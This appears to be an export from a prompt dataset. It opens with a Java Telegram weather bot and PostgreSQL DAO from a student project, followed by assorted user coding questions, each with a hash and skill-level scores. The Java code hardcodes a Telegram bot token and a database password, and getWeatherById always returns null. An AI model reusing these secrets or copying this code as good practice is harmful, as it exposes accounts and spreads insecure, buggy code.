messageToSend.setChatId(chatId);
messageToSend.setText(response);
try {
execute(messageToSend);
} catch (TelegramApiException e) {
throw new RuntimeException(e);
}
}
}
}
/**
* Функция получения значения поля BotUsername
* @return
*/
@Override
public String getBotUsername() {
return "kursprojectbot";
}
/**
* Функция получения значения поля BotToken
* @return
*/
@Override
public String getBotToken() {
return "6033289169:AAFsWsdRn2Hc-G-V5L9OewZIEzyLO7wsoP0";
}
}
package org.example.DB;
import java.sql.*;
import java.util.ArrayList;
import java.util.List;
public class WeatherDAOPost implements WeatherDAO {
private Connection conn;
public WeatherDAOPost() {
try {
conn = DriverManager.getConnection("jdbc:postgresql://localhost:5432/weather", "postgres", "Nd31012001");
} catch (SQLException e) {
e.printStackTrace();
}
}
@Override
public List<Weather> getAllWeathers() {
List<Weather> tasks = new ArrayList<>();
try {
PreparedStatement ps = conn.prepareStatement("SELECT * FROM weather");
ResultSet rs = ps.executeQuery();
while (rs.next()) {
Weather task = new Weather(rs.getInt("id"),
//rs.getInt("id");
rs.getString("name"),
rs.getString("description"),
rs.getString("temp"),
rs.getString("time"));
tasks.add(task);
}
} catch (SQLException e) {
e.printStackTrace();
}
return tasks;
}
@Override
public Weather getWeatherById(int id) {
Weather task = null;
try {
PreparedStatement ps = conn.prepareStatement("SELECT * FROM weather WHERE id = ?");
ps.setInt(1, id);
ResultSet rs = ps.executeQuery();
if (rs.next()) {
Weather weather = new Weather(rs.getInt("id"),
//rs.getInt("id");
rs.getString("name"),
rs.getString("description"),
rs.getString("temp"),
rs.getString("time"));
}
} catch (SQLException e) {
e.printStackTrace();
}
return task;
}
@Override
public void addWeather(Weather weather) {
try {
PreparedStatement ps = conn.prepareStatement("INSERT INTO weather (name, description, temp, time) VALUES (?, ?, ?, ?)");
ps.setString(1, weather.getName());
ps.setString(2, weather.getDescription());
ps.setString(3, weather.getTemperature());
ps.setString(4,weather.getTime());
ps.executeUpdate();
} catch (SQLException e) {
e.printStackTrace();
}
}
@Override
public void updateWeather(Weather weather) {
try {
PreparedStatement ps = conn.prepareStatement("UPDATE weather SET name = ?, description = ?, temp = ?, time = ? WHERE id = ?");
ps.setString(1, weather.getName());
ps.setString(2, weather.getDescription());
ps.setString(3, weather.getTemperature());
ps.setString(4,weather.getTime());
ps.setInt(5, weather.getId());
ps.executeUpdate();
} catch (SQLException e) {
e.printStackTrace();
}
}
@Override
public void deleteWeather(int id) {
try {
PreparedStatement ps = conn.prepareStatement("DELETE FROM weather WHERE id = ?");
ps.setInt(1, id);
ps.executeUpdate();
} catch (SQLException e) {
e.printStackTrace();
}
}
public double getAverageTemperatureByCity(String city) {
String sql = "SELECT AVG(REPLACE(temp, ',', '.')::double precision) AS avg_temp FROM weather WHERE name=?\n";
try (PreparedStatement pstmt = conn.prepareStatement(sql)) {
pstmt.setString(1, city);
try (ResultSet rs = pstmt.executeQuery()) {
if (rs.next()) {
return rs.getDouble("avg_temp");
}
}
} catch (SQLException e) {
e.printStackTrace();
}
return 0.0; // или другое значение по умолчанию, если не удалось получить среднее значение
}
}
package org.example.DB;
import java.util.List;
public interface WeatherDAO {
void addWeather(Weather weather);
void updateWeather(Weather weather);
void deleteWeather(int id);
List<Weather> getAllWeathers();
Weather getWeatherById(int id);
}
package org.example.DB;
public class Weather {
/** поле Id*/
private int id;
/** Поле name*/
private String name;
/** Поле description*/
private String description;
/** Поле температура*/
private String temperature;
/** Поле time*/
private String time;
/** Конструктор создания нового объекта с определёнными значениями
*
* @param id - id
* @param name - название
* @param description - состояние
* @param temperature - температура
* @param time - время
*/
public Weather(int id, String name, String description, String temperature, String time) {
this.id = id;
this.name = name;
this.description = description;
this.temperature = temperature;
this.time = time;
}
// getters and setters
/** Функция получения значения поля {@link Weather#id}*/
public int getId() {
return id;
}
/** Функция вставки значения поля {@link Weather#id}*/
public void setId(int id) {
this.id = id;
}
/** Функция получения значения поля {@link Weather#name}*/
public String getName() {
return name;
}
/** Функция вставки значения поля {@link Weather#name}*/
public void setName(String name) {
this.name = name;
}
/** Функция получения значения поля {@link Weather#description}*/
public String getDescription() {
return description;
}
/** Функция вставки значения поля {@link Weather#description}*/
public void setDescription(String description) {
this.description = description;
}
/** Функция получения значения поля {@link Weather#temperature}*/
public String getTemperature() {
return temperature;
}
/** Функция вставки значения поля {@link Weather#temperature}*/
public void setTemperature(String temperature) {
this.temperature = temperature;
}
/** Функция получения значения поля {@link Weather#time}*/
public String getTime() {
return time;
}
/** Функция вставки значения поля {@link Weather#time}*/
public void setTime(String time) {
this.time = time;
}
}
|
53b766371f025df10cbb38be1e2c6a3b
|
{
"intermediate": 0.23020340502262115,
"beginner": 0.5950908064842224,
"expert": 0.17470583319664001
}
|
9,431
|
Is there a vba code that can drag a code down a column
|
ac38aa467ffb89a4091920f32d3e36ce
|
{
"intermediate": 0.3934454619884491,
"beginner": 0.2563997209072113,
"expert": 0.3501547873020172
}
|
9,432
|
Display a summary table of descriptive statistics for the adv2_df dataframe by calling the required method on the entire dataframe and add to code the function which displays column name does not contain blank values.
Hint: The PivotTable does not contain information about the number of rows in the entire dataframe, so print out the total number of rows in the dataframe first.
Recommendation: In addition to the learned describe method, the method is useful for describing a dataframe and obtaining information about missing values. info(verbose=None, buf=None, max_cols=None, memory_usage=None, show_counts=None)
|
a76b50d6e67eb37f85f803fe3b2d2259
|
{
"intermediate": 0.4503970742225647,
"beginner": 0.16209927201271057,
"expert": 0.3875036835670471
}
|
9,433
|
Is there a vba code that can copy a formula in K1 down to K100 so that references to other cells change accordingly
|
1528699940de5874bfd37725046ac811
|
{
"intermediate": 0.42696717381477356,
"beginner": 0.09170021116733551,
"expert": 0.48133260011672974
}
|
9,434
|
can you refactor this c# code into smaller code:
switch (dia.ToLower())
{
case "domingo":
return Domingo;
case "lunes":
return Lunes;
case "martes":
return Martes;
case "miércoles":
return Miercoles;
case "jueves":
return Jueves;
case "viernes":
return Viernes;
default:
return Sabado;
}
|
832ff3cc56790d9183c37da2df318774
|
{
"intermediate": 0.3368850350379944,
"beginner": 0.4239276051521301,
"expert": 0.2391873151063919
}
|
9,435
|
write code of metatrader4 indicator, to for signal in ema 20 and ema 50 corsing sell and buy
|
ba796f16b80263fcfd4cdce0e56b786b
|
{
"intermediate": 0.3479733169078827,
"beginner": 0.16065330803394318,
"expert": 0.49137336015701294
}
|
9,436
|
ParseError at [row,col]:[6,32]
Message: http://www.w3.org/TR/1999/REC-xml-names-19990114#AttributePrefixUnbound?androidx.cardview.widget.CardView&app:cardCornerRadius&app
|
203107f0baa336f3ce255c0313f7f2fc
|
{
"intermediate": 0.43077462911605835,
"beginner": 0.3319289982318878,
"expert": 0.23729640245437622
}
|
9,437
|
type MobileProps = { key: string; value: string };
export const mobile: React.FC<MobileProps> = (props) => {
return css`
@media only screen and (max-width: 380) {
${props}
}
`;
};
Type '(props: MobileProps) => FlattenSimpleInterpolation' is not assignable to type 'FC<MobileProps>'.
Type 'readonly SimpleInterpolation[]' is missing the following properties from type 'ReactElement<any, any>': type, props, keyts(2322)
write correct code
|
63a6aefb3cd6674e7311c1e57baf2e03
|
{
"intermediate": 0.5058243870735168,
"beginner": 0.29952624440193176,
"expert": 0.1946493238210678
}
|
9,438
|
Сделай изображение на 100% ширины и 70% высоты , в оставшиеся 30%высоты добавь название и стоимость , так же в самом верху добавь надпись , на которой напиши что товар подешевел на сколько то процентов : <androidx.cardview.widget.CardView xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="wrap_content"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_margin="10dp"
android:elevation="6dp"
app:cardCornerRadius="8dp">
<RelativeLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:padding="10dp">
<ImageView
android:id="@+id/product_image"
android:layout_width="96dp"
android:layout_height="96dp"
android:layout_alignParentStart="true"
android:layout_marginStart="5dp" />
<TextView
android:id="@+id/product_name"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_toEndOf="@id/product_image"
android:layout_marginStart="33dp"
android:layout_marginTop="15dp"
android:layout_marginEnd="16dp"
android:textSize="24sp" />
<TextView
android:id="@+id/product_description"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_below="@id/product_name"
android:layout_toEndOf="@id/product_image"
android:layout_marginStart="33dp"
android:layout_marginTop="0dp"
android:layout_marginEnd="16dp"
android:textSize="16sp" />
<TextView
android:id="@+id/old_price"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignStart="@+id/product_image"
android:layout_below="@+id/product_image"
android:layout_marginTop="10dp"
android:text="@string/old_price"
android:textColor="@android:color/darker_gray"
android:textSize="16sp" />
<TextView
android:id="@+id/new_price"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignBaseline="@+id/old_price"
android:layout_alignStart="@+id/product_name"
android:layout_marginStart="20dp"
android:text="@string/new_price"
android:textColor="#EC0909"
android:textSize="16sp" />
<Button
android:id="@+id/goRestaurantButton"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_below="@+id/new_price"
android:layout_alignParentEnd="true"
android:layout_marginTop="5dp"
android:layout_marginEnd="9dp"
android:text="Перейти в ресторан" />
</RelativeLayout>
</androidx.cardview.widget.CardView>
|
e8c7258ade90ad40c37759e73cc893b3
|
{
"intermediate": 0.27519893646240234,
"beginner": 0.4284873306751251,
"expert": 0.29631373286247253
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.